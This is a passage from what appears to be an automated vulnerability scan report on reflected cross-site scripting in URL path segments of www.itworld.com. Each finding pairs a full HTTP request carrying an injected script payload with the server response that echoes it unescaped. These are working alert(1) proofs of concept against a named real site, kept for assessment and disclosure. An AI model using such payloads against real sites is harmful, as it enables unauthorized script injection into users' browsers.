s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules6fb61"-alert(1)-"a5baf738f11/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar
...[SNIP]...

1.381. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d10d"><script>alert(1)</script>db13264704c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules1d10d"><script>alert(1)</script>db13264704c/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js?132 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:16 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460196"
Content-Type: text/html; charset=utf-8
Content-Length: 58078
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:20 GMT
X-Varnish: 252447138
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules1d10d"><script>alert(1)</script>db13264704c/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js?132"/>
...[SNIP]...

1.382. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5e87"><script>alert(1)</script>9829ae68e09 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itwc5e87"><script>alert(1)</script>9829ae68e09/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js?132 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:51 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460231"
Content-Type: text/html; charset=utf-8
Content-Length: 58078
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:52 GMT
X-Varnish: 252448162
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itwc5e87"><script>alert(1)</script>9829ae68e09/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js?132"/>
...[SNIP]...

1.383. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6ed89"-alert(1)-"960a0dbcd70 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw6ed89"-alert(1)-"960a0dbcd70/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js?132 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:24:06 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460246"
Content-Type: text/html; charset=utf-8
Content-Length: 57858
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:24:09 GMT
X-Varnish: 252448788
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw6ed89"-alert(1)-"960a0dbcd70/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="
...[SNIP]...

1.384. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ffafa"-alert(1)-"e2ab046408b was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/idg_adsffafa"-alert(1)-"e2ab046408b/demandbase/demandbase-multiver-1.3/demandbase.js?132 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:09 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460309"
Content-Type: text/html; charset=utf-8
Content-Length: 57858
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:10 GMT
X-Varnish: 1038159849
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
h";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/idg_adsffafa"-alert(1)-"e2ab046408b/demandbase/demandbase-multiver-1.3/demandbase.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn'
...[SNIP]...

1.385. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1e991"-alert(1)-"64bef201e57 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/idg_ads/demandbase1e991"-alert(1)-"64bef201e57/demandbase-multiver-1.3/demandbase.js?132 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:38 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460398"
Content-Type: text/html; charset=utf-8
Content-Length: 57857
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:40 GMT
X-Varnish: 1038162456
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
5="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/idg_ads/demandbase1e991"-alert(1)-"64bef201e57/demandbase-multiver-1.3/demandbase.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the
...[SNIP]...

1.386. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3ee3"><script>alert(1)</script>dc35c53c9a7 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/idg_ads/demandbasef3ee3"><script>alert(1)</script>dc35c53c9a7/demandbase-multiver-1.3/demandbase.js?132 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:49 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460349"
Content-Type: text/html; charset=utf-8
Content-Length: 58077
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:12 GMT
X-Varnish: 1038161125
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbasef3ee3"><script>alert(1)</script>dc35c53c9a7/demandbase-multiver-1.3/demandbase.js?132"/>
...[SNIP]...

1.387. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cce22"-alert(1)-"4f40c1e3f8c was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3cce22"-alert(1)-"4f40c1e3f8c/demandbase.js?132 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:05 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460425"
Content-Type: text/html; charset=utf-8
Content-Length: 57856
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:06 GMT
X-Varnish: 1038163266
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3cce22"-alert(1)-"4f40c1e3f8c/demandbase.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.
...[SNIP]...

1.388. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js

Issue detail

The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bfd19"><script>alert(1)</script>ba5b21a532a was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3bfd19"><script>alert(1)</script>ba5b21a532a/demandbase.js?132 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:49 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460409"
Content-Type: text/html; charset=utf-8
Content-Length: 58077
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:01 GMT
X-Varnish: 1038162965
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3bfd19"><script>alert(1)</script>ba5b21a532a/demandbase.js?132"/>
...[SNIP]...

1.389. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js [REST URL parameter 9] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js

Issue detail

The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8e6e8"-alert(1)-"ff281011c7b was submitted in the REST URL parameter 9. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js8e6e8"-alert(1)-"ff281011c7b?132 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:36 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460456"
Content-Type: text/html; charset=utf-8
Content-Length: 57851
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:39 GMT
X-Varnish: 1038164278
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
"";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js8e6e8"-alert(1)-"ff281011c7b";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.390. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js [REST URL parameter 9] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js

Issue detail

The value of REST URL parameter 9 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4013c"><script>alert(1)</script>cdc6d48a080 was submitted in the REST URL parameter 9. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js4013c"><script>alert(1)</script>cdc6d48a080?132 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:22 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460442"
Content-Type: text/html; charset=utf-8
Content-Length: 58078
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:27 GMT
X-Varnish: 1038163969
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/demandbase/demandbase-multiver-1.3/demandbase.js4013c"><script>alert(1)</script>cdc6d48a080?132"/>
...[SNIP]...

1.391. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5600f"-alert(1)-"6b7e826a002 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites5600f"-alert(1)-"6b7e826a002/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:19:50 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316459990"
Content-Type: text/html; charset=utf-8
Content-Length: 58029
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:19:54 GMT
X-Varnish: 1959722145
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites5600f"-alert(1)-"6b7e826a002/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10
...[SNIP]...

1.392. http://www.itworld.com/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3be6"><script>alert(1)</script>0c0d53b31df was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sitesa3be6"><script>alert(1)</script>0c0d53b31df/all/modules/itw/modules/idg_ads/doubleclick_ads/doubleclick_ads-multiver-2.5.4/doubleclick_ads.js?2531 HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
